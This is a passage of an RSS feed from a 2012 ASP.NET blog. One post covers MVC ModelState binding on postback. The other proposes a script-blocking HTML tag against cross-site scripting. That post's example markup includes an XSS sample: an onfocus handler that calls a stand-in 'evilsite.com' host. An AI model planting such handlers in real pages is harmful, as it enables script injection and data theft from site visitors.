&lt;g:plusone size="medium" href="http://www.west-wind.com/weblog/posts/2012/Apr/24/Getting-a-base-Domain-from-a-Domain" "&gt;&lt;/g:plusone&gt;
&lt;script type="text/javascript"&gt;
  (function() {
    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
    po.src = 'https://apis.google.com/js/plusone.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
&lt;/script&gt;

&lt;/div&gt;&lt;/small&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=_LEG7WDxLCo:cF154NfCwHA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=_LEG7WDxLCo:cF154NfCwHA:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=_LEG7WDxLCo:cF154NfCwHA:D7DqB2pKExk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=_LEG7WDxLCo:cF154NfCwHA:D7DqB2pKExk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=_LEG7WDxLCo:cF154NfCwHA:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=_LEG7WDxLCo:cF154NfCwHA:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=_LEG7WDxLCo:cF154NfCwHA:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=_LEG7WDxLCo:cF154NfCwHA:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=_LEG7WDxLCo:cF154NfCwHA:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/RickStrahl/~4/_LEG7WDxLCo" height="1" width="1"/&gt;</description>
    <feedburner:origLink>http://www.west-wind.com/weblog/posts/2012/Apr/24/Getting-a-base-Domain-from-a-Domain</feedburner:origLink></item>
    <item>
      <title>ASP.NET MVC Postbacks and HtmlHelper Controls ignoring Model Changes</title>
      <link>http://feedproxy.google.com/~r/RickStrahl/~3/ByFFp3pg7co/ASPNET-MVC-Postbacks-and-HtmlHelper-Controls-ignoring-Model-Changes</link>
      <guid isPermaLink="false">1330183_201204200919</guid>
      <pubDate>Fri, 20 Apr 2012 09:19:57 GMT</pubDate>
      <dc:creator>Rick Strahl</dc:creator>
      <comments>http://www.west-wind.com/weblog/posts/2012/Apr/20/ASPNET-MVC-Postbacks-and-HtmlHelper-Controls-ignoring-Model-Changes#Comments</comments>
      <slash:comments>16</slash:comments>
      <wfw:commentRss>http://west-wind.com/weblog/commentrss.aspx?id=1330183</wfw:commentRss>
      <category> ASP.NET</category>
      <category>MVC</category>
      <description>&lt;p&gt;So here's a binding behavior in ASP.NET MVC that I didn't really get until today: HtmlHelpers controls (like .TextBoxFor() etc.) don't bind to model values on Postback, but rather get their value directly out of the POST buffer from ModelState. Effectively it looks like you can't change the display value of a control via model value updates on a Postback operation. &lt;/p&gt; &lt;p&gt;To demonstrate here's an example. I have a small section in a document where I display an editable email address:&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/99fd3d340a5c_ED8B/DisplayModel_2.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="DisplayModel" border="0" alt="DisplayModel" src="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/99fd3d340a5c_ED8B/DisplayModel_thumb.png" width="562" height="256"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt; &lt;p&gt;This is what the form displays on a GET operation and as expected I get the email value displayed in both the textbox and plain value display below, which reflects the value in the mode. I added a plain text value to demonstrate the model value compared to what's rendered in the textbox.&lt;/p&gt; &lt;p&gt;The relevant markup is the email address which needs to be manipulated via the model in the Controller code. Here's the Razor markup:&lt;/p&gt;&lt;pre class="code"&gt;        &lt;span style="color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon"&gt;div &lt;/span&gt;&lt;span style="color: red"&gt;class&lt;/span&gt;&lt;span style="color: blue"&gt;="fieldcontainer"&amp;gt;
            &amp;lt;&lt;/span&gt;&lt;span style="color: maroon"&gt;label&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
                &lt;/span&gt;Email: &lt;span style="color: red"&gt;&amp;amp;nbsp; &lt;/span&gt;&lt;span style="color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon"&gt;small&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;&lt;/span&gt;(username and &lt;span style="color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon"&gt;a &lt;/span&gt;&lt;span style="color: red"&gt;href&lt;/span&gt;&lt;span style="color: blue"&gt;="http://gravatar.com"&amp;gt;&lt;/span&gt;Gravatar&lt;span style="color: blue"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon"&gt;a&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt; &lt;/span&gt;image)&lt;span style="color: blue"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon"&gt;small&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
            &amp;lt;/&lt;/span&gt;&lt;span style="color: maroon"&gt;label&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
            &amp;lt;&lt;/span&gt;&lt;span style="color: maroon"&gt;div&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
&lt;/span&gt;                &lt;span style="background: yellow"&gt;@&lt;/span&gt;Html.TextBoxFor( mod=&amp;gt; mod.User.Email, &lt;span style="color: blue"&gt;new &lt;/span&gt;{type=&lt;span style="color: #a31515"&gt;"email"&lt;/span&gt;,@class=&lt;span style="color: #a31515"&gt;"inputfield"&lt;/span&gt;})         &lt;/pre&gt;&lt;pre class="code"&gt;                &lt;span style="background: yellow"&gt;@&lt;/span&gt;Model.User.Email 
            &lt;span style="color: blue"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon"&gt;div&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
        &amp;lt;/&lt;/span&gt;&lt;span style="color: maroon"&gt;div&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;So, I have this form and the user can change their email address. On postback the Post controller code then asks the business layer whether the change is allowed. If it's not I want to reset the email address back to the old value which exists in the database and was previously store. The obvious thing to do would be to modify the model. Here's the Controller logic block that deals with that:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: green"&gt;// did user change email?
&lt;/span&gt;&lt;span style="color: blue"&gt;if &lt;/span&gt;(!&lt;span style="color: blue"&gt;string&lt;/span&gt;.IsNullOrEmpty(oldEmail) &amp;amp;&amp;amp; user.Email != oldEmail)
{
    &lt;span style="color: blue"&gt;if &lt;/span&gt;(userBus.DoesEmailExist(user.Email))
    {
        userBus.ValidationErrors.Add(&lt;span style="color: #a31515"&gt;"New email address exists already. Please…"&lt;/span&gt;);
&lt;strong&gt;        user.Email = oldEmail;&lt;/strong&gt;
    }
    &lt;span style="color: blue"&gt;else
        &lt;/span&gt;&lt;span style="color: green"&gt;// allow email change but require verification by forcing a login
        &lt;/span&gt;user.IsVerified = &lt;span style="color: blue"&gt;false&lt;/span&gt;;
}&lt;/pre&gt;&lt;pre class="code"&gt;… &lt;br&gt;&lt;pre class="code"&gt;model.user = user;
&lt;span style="color: blue"&gt;return &lt;/span&gt;View(model);&lt;/pre&gt;&lt;/pre&gt;
&lt;p&gt;The logic is straight forward - if the new email address is not valid because it already exists I &lt;strong&gt;don't&lt;/strong&gt; want to display the new email address the user entered, but rather the old one. To do this I change the value on the model which effectively does this:&lt;/p&gt;&lt;pre class="code"&gt;model.user.Email = oldEmail;
&lt;span style="color: blue"&gt;return &lt;/span&gt;View(model);&lt;/pre&gt;
&lt;p&gt;So when I press the Save button after entering in my new email address (rickstrahl@hotmail.com) here's what comes back in the rendered view:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/99fd3d340a5c_ED8B/AfterPostbackDisplayView_2.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="AfterPostbackDisplayView" border="0" alt="AfterPostbackDisplayView" src="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/99fd3d340a5c_ED8B/AfterPostbackDisplayView_thumb.png" width="572" height="257"&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Notice that the textbox value and the raw displayed model value are different. The TextBox displays the POST value, the raw value displays the actual model value which are different. &lt;/p&gt;
&lt;p&gt;This means that MVC renders the textbox value from the POST data rather than from the view data when an Http POST is active.&lt;/p&gt;
&lt;p&gt;Now I don't know about you but this is not the behavior I expected - initially. This behavior effectively means that I cannot modify the contents of the textbox from the Controller code if using HtmlHelpers for binding. Updating the model for display purposes in a POST has in effect - no effect.&lt;/p&gt;
&lt;p&gt;&lt;font color="#ff0000" size="1"&gt;&lt;font size="1"&gt;(Apr. 25, 2012 - edited the post heavily based on comments and more experimentation)&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;
&lt;h3&gt;What should the behavior be?&lt;/h3&gt;
&lt;p&gt;After getting quite a few comments on this post I quickly realized that the behavior I described above is actually the behavior you'd want in 99% of the binding scenarios. You do want to get the POST values back into your input controls at all times, so that the data displayed on a form for the user matches what they typed. So if an error occurs, the error doesn't mysteriously disappear getting replaced either with a default value or some value that you changed on the model on your own. Makes sense.&lt;/p&gt;
&lt;p&gt;Still it is a little non-obvious because the way you create the UI elements with MVC, it certainly looks like your are binding to the model value:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: yellow"&gt;@&lt;/span&gt;Html.TextBoxFor( &lt;strong&gt;mod=&amp;gt; mod.User.Email&lt;/strong&gt;, &lt;span style="color: blue"&gt;new &lt;/span&gt;{type=&lt;span style="color: #a31515"&gt;"email"&lt;/span&gt;,@class=&lt;span style="color: #a31515"&gt;"inputfield"&lt;/span&gt;,required=&lt;span style="color: #a31515"&gt;"required" &lt;/span&gt;})&lt;/pre&gt;
&lt;p&gt;and so unless one understands a little bit about how the model binder works this is easy to trip up. At least it was for me. Even though I'm telling the control which model value to bind to, that model value is only used initially on GET operations. After that ModelState/POST values provide the display value.&lt;/p&gt;
&lt;h3&gt;Workarounds&lt;/h3&gt;
&lt;p&gt;The default behavior should be fine for 99% of binding scenarios. But if you do need fix up values based on your model rather than the default POST values, there are a number of ways that you can work around this.&lt;/p&gt;
&lt;p&gt;Initially when I ran into this, I couldn't figure out how to set the value using code and so the simplest solution to me was simply to not use the MVC Html Helper for the specific control and explicitly bind the model via HTML markup and @Razor expression:&lt;/p&gt;
&lt;p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon"&gt;input &lt;/span&gt;&lt;span style="color: red"&gt;type&lt;/span&gt;&lt;span style="color: blue"&gt;="text" &lt;/span&gt;&lt;span style="color: red"&gt;name&lt;/span&gt;&lt;span style="color: blue"&gt;="User.Email" &lt;/span&gt;&lt;span style="color: red"&gt;id&lt;/span&gt;&lt;span style="color: blue"&gt;="User_Email" &lt;/span&gt;&lt;span style="color: red"&gt;value&lt;/span&gt;&lt;span style="color: blue"&gt;="&lt;/span&gt;&lt;span style="background: yellow"&gt;@&lt;/span&gt;&lt;span style="color: blue"&gt;Model.User.Email" /&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;And this produces the right result. This is easy enough to create, but feels a little out of place when using the @Html helpers for everything else. As you can see by the difference in the name and id values, you also are forced to remember the naming conventions that MVC imposes in order for ModelBinding to work properly which is a pain to remember and set manually (name is the same as the property with . syntax, id replaces dots with underlines).&lt;/p&gt;
&lt;h3&gt;Use the ModelState&lt;/h3&gt;
&lt;p&gt;Some of my original confusion came because I didn't understand how the model binder works. The model binder basically maintains ModelState on a postback, which holds a value and binding errors for each of the Post back value submitted on the page that can be mapped to the model. In other words there's one ModelState entry for each bound property of the model. Each ModelState entry contains a value property that holds AttemptedValue and RawValue properties. The AttemptedValue is essentially the POST value retrieved from the form. The RawValue is the value that the model holds.&lt;/p&gt;
&lt;p&gt;When MVC binds controls like @Html.TextBoxFor() or @Html.TextBox(), it always binds values on a GET operation. On a POST operation however, it'll always used the AttemptedValue to display the control. MVC binds using the ModelState on a POST operation, not the model's value.&lt;/p&gt;
&lt;p&gt;So, if you want the behavior that I was expecting originally you can actually get it by clearing the ModelState in the controller code:&lt;/p&gt;&lt;pre class="code"&gt;ModelState.Clear();&lt;/pre&gt;
&lt;p&gt;This clears out all the captured ModelState values, and effectively binds to the model. Note this will produce very similar results - in fact if there are no binding errors you see exactly the same behavior as if binding from ModelState, because the model has been updated from the ModelState already and binding to the updated values most likely produces the same values you would get with POST back values.&lt;/p&gt;
&lt;p&gt;The big difference though is that any values that couldn't bind - like say putting a string into a numeric field - will now not display back the value the user typed, but the default field value or whatever you changed the model value to.&lt;/p&gt;
&lt;p&gt;This is the behavior I was actually expecting previously. But - clearing out all values might be a bit heavy handed. You might want to fix up one or two values in a model but rarely would you want the entire model to update from the model.&lt;/p&gt;
&lt;p&gt;So, you can also clear out individual values on an as needed basis:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;if &lt;/span&gt;(userBus.DoesEmailExist(user.Email))
{
    userBus.ValidationErrors.Add(&lt;span style="color: #a31515"&gt;"New email address exists already. Please…"&lt;/span&gt;);
    user.Email = oldEmail;&lt;br&gt;
    Mo&lt;strong&gt;delState.Remove(&lt;span style="color: #a31515"&gt;"User.Email"&lt;/span&gt;); &lt;/strong&gt;                   
}
&lt;/pre&gt;
&lt;p&gt;This allows you to remove a single value from the ModelState and effectively allows you to replace that value for display from the model.&lt;/p&gt;
&lt;h3&gt;Why?&lt;/h3&gt;
&lt;p&gt;While researching this I came across a post from Microsoft's &lt;a href="http://bradwilson.typepad.com/" target="_blank"&gt;Brad Wilson&lt;/a&gt; who describes the default binding behavior best in a &lt;a href="http://forums.asp.net/post/3688022.aspx" target="_blank"&gt;forum post&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;The reason we use the posted value for editors rather than the model value is that the model may not be able to contain the value that the user typed. Imagine in your "int" editor the user had typed "dog". You want to display an error message which says "dog is not valid", and leave "dog" in the editor field. However, your model is an int: there's no way it can store "dog". So we keep the old value.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;If you don't want the old values in the editor, clear out the Model State. That's where the old value is stored and pulled from the HTML helpers.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;There you have it. It's not the most intuitive behavior, but in hindsight this behavior does make some sense even if at first glance it looks like you should be able to update values from the model. The solution of clearing ModelState works and is a reasonable one but you have to know about some of the innards of ModelState and how it actually works to figure that out.&lt;/p&gt;&lt;div style='margin: 10px 0px'&gt;&lt;small&gt;© Rick Strahl, West Wind Technologies, 2005-2012&lt;/small&gt;&lt;/div&gt;&lt;div&gt;Posted in &lt;b&gt;&lt;a href='/Weblog/ShowPosts.aspx?Category= ASP.NET'&gt; ASP.NET&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;a href='/Weblog/ShowPosts.aspx?Category=MVC'&gt;MVC&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style='margin-top: 5px;'&gt;
&lt;a href="https://twitter.com/share" class="twitter-share-button" data-text="ASP.NET MVC Postbacks and HtmlHelper Controls ignoring Model Changes" data-via="RickStrahl" data-lang="en" data-hashtags="" data-url="http://www.west-wind.com/weblog/posts/2012/Apr/20/ASPNET-MVC-Postbacks-and-HtmlHelper-Controls-ignoring-Model-Changes"&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt;

&lt;g:plusone size="medium" href="http://www.west-wind.com/weblog/posts/2012/Apr/20/ASPNET-MVC-Postbacks-and-HtmlHelper-Controls-ignoring-Model-Changes" "&gt;&lt;/g:plusone&gt;
&lt;script type="text/javascript"&gt;
  (function() {
    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
    po.src = 'https://apis.google.com/js/plusone.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
&lt;/script&gt;

&lt;/div&gt;&lt;/small&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=ByFFp3pg7co:ZBQkJNjOP9Q:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=ByFFp3pg7co:ZBQkJNjOP9Q:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=ByFFp3pg7co:ZBQkJNjOP9Q:D7DqB2pKExk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=ByFFp3pg7co:ZBQkJNjOP9Q:D7DqB2pKExk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=ByFFp3pg7co:ZBQkJNjOP9Q:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=ByFFp3pg7co:ZBQkJNjOP9Q:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=ByFFp3pg7co:ZBQkJNjOP9Q:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=ByFFp3pg7co:ZBQkJNjOP9Q:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=ByFFp3pg7co:ZBQkJNjOP9Q:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/RickStrahl/~4/ByFFp3pg7co" height="1" width="1"/&gt;</description>
    <feedburner:origLink>http://www.west-wind.com/weblog/posts/2012/Apr/20/ASPNET-MVC-Postbacks-and-HtmlHelper-Controls-ignoring-Model-Changes</feedburner:origLink></item>
    <item>
      <title>Wishful Thinking: Why can't HTML fix Script Attacks at the Source?</title>
      <link>http://feedproxy.google.com/~r/RickStrahl/~3/k6LbwmKUWRk/Wishful-Thinking-Why-cant-HTML-fix-Script-Attacks-at-the-Source</link>
      <guid isPermaLink="false">1325273_201204150049</guid>
      <pubDate>Sun, 15 Apr 2012 00:49:20 GMT</pubDate>
      <dc:creator>Rick Strahl</dc:creator>
      <comments>http://www.west-wind.com/weblog/posts/2012/Apr/14/Wishful-Thinking-Why-cant-HTML-fix-Script-Attacks-at-the-Source#Comments</comments>
      <slash:comments>15</slash:comments>
      <wfw:commentRss>http://west-wind.com/weblog/commentrss.aspx?id=1325273</wfw:commentRss>
      <category> ASP.NET</category>
      <category>HTML5</category>
      <category>HTML</category>
      <category>Security</category>
      <description>&lt;p&gt;The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings.&lt;/p&gt; &lt;p&gt;The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (&lt;a href="http://msdn.microsoft.com/en-us/library/w3te6wfz.aspx" target="_blank"&gt;HttyUtility.HtmlEncode()&lt;/a&gt; in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. &lt;/p&gt; &lt;p&gt;Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default.&lt;/p&gt; &lt;p&gt;In Razor the default @ expression syntax:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: yellow"&gt;@&lt;/span&gt;Model.UserContent&lt;/pre&gt;
&lt;p&gt;automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString &lt;a href="http://msdn.microsoft.com/en-us/library/system.web.htmlstring.aspx" target="_blank"&gt;class&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In Web Forms (V4) you can use:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: yellow"&gt;&amp;lt;%&lt;/span&gt;&lt;span style="color: blue"&gt;: &lt;/span&gt;Model.UserContent &lt;span style="background: yellow"&gt;%&amp;gt;&lt;/span&gt;    &lt;/pre&gt;
&lt;p&gt;or if you're using a version prior to 4.0:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: yellow"&gt;&amp;lt;%&lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;HttpUtility.HtmlEncode(Model.UserContent) &lt;span style="background: yellow"&gt;%&amp;gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;This works great as a hedge against embedded &amp;lt;script&amp;gt; tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless.&lt;/p&gt;
&lt;p&gt;If you &lt;strong&gt;do&lt;/strong&gt; accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task.&lt;/p&gt;
&lt;p&gt;In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.&amp;nbsp; Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like &lt;a href="http://daringfireball.net/projects/markdown/" target="_blank"&gt;MarkDown&lt;/a&gt; - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places.&lt;/p&gt;
&lt;p&gt;In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*.&lt;/p&gt;
&lt;h3&gt;My Wishlist Item: A &amp;lt;restricted&amp;gt; tag in HTML&lt;/h3&gt;
&lt;p&gt;Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML?&lt;/p&gt;
&lt;p&gt;The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document.&lt;/p&gt;
&lt;p&gt;So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include &amp;lt;script&amp;gt; tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target.&lt;/p&gt;
&lt;p&gt;I'd like to see something along these lines:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon"&gt;article&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;    
    &lt;strong&gt;&amp;lt;&lt;/strong&gt;&lt;/span&gt;&lt;span style="color: maroon"&gt;&lt;strong&gt;restricted allowscripts="no" allowiframes="no"&lt;/strong&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;&lt;strong&gt;&amp;gt;&lt;/strong&gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: maroon"&gt;div&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;&lt;/span&gt;Some content&lt;span style="color: blue"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon"&gt;div&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
        &lt;strong&gt;&amp;lt;&lt;/strong&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color: maroon"&gt;script&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;&lt;/span&gt;alert(&lt;span style="color: maroon"&gt;'go ahead make my day, punk!");&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon"&gt;script&lt;/span&gt;&lt;/strong&gt;&lt;span style="color: blue"&gt;&lt;strong&gt;&amp;gt;&lt;/strong&gt;
        &amp;lt;&lt;/span&gt;&lt;span style="color: maroon"&gt;div &lt;/span&gt;&lt;span style="color: red"&gt;&lt;strong&gt;onfocus&lt;/strong&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;&lt;strong&gt;="$.getJson('http://evilsite.com/')"&lt;/strong&gt;&amp;gt;&lt;/span&gt;more content&lt;span style="color: blue"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon"&gt;div&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
    &lt;strong&gt;&amp;lt;/&lt;/strong&gt;&lt;/span&gt;&lt;span style="color: maroon"&gt;&lt;strong&gt;restricted&lt;/strong&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;&lt;strong&gt;&amp;gt;&lt;/strong&gt;
&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon"&gt;article&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon"&gt;article&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;    
    &amp;lt;&lt;/span&gt;&lt;span style="color: maroon"&gt;restricted&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
        &lt;/span&gt;&lt;span style="background: yellow"&gt;@&lt;/span&gt;Html.Raw(Model.UserContent)
    &lt;span style="color: blue"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon"&gt;restricted&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon"&gt;article&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of &amp;lt;script&amp;gt; tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors.&lt;/p&gt;
&lt;p&gt;There would also need to be some logic in the parser to not allow an &amp;lt;/restricted&amp;gt; or &amp;lt;restricted&amp;gt; tag into the content as to short-circuit the rstricted section (per &lt;a href="http://blogs.ipona.com/james/default.aspx" target="_blank"&gt;James Hart's comment&lt;/a&gt;). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. &lt;/p&gt;
&lt;p&gt;Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this &amp;lt;restricted&amp;gt; tag) that could potentially communicate back, there's not a lot a malicious site could do.&lt;/p&gt;
&lt;p&gt;The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that.&lt;/p&gt;
&lt;h3&gt;Ahhhh… one can dream…&lt;/h3&gt;
&lt;p&gt;Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly.&lt;/p&gt;
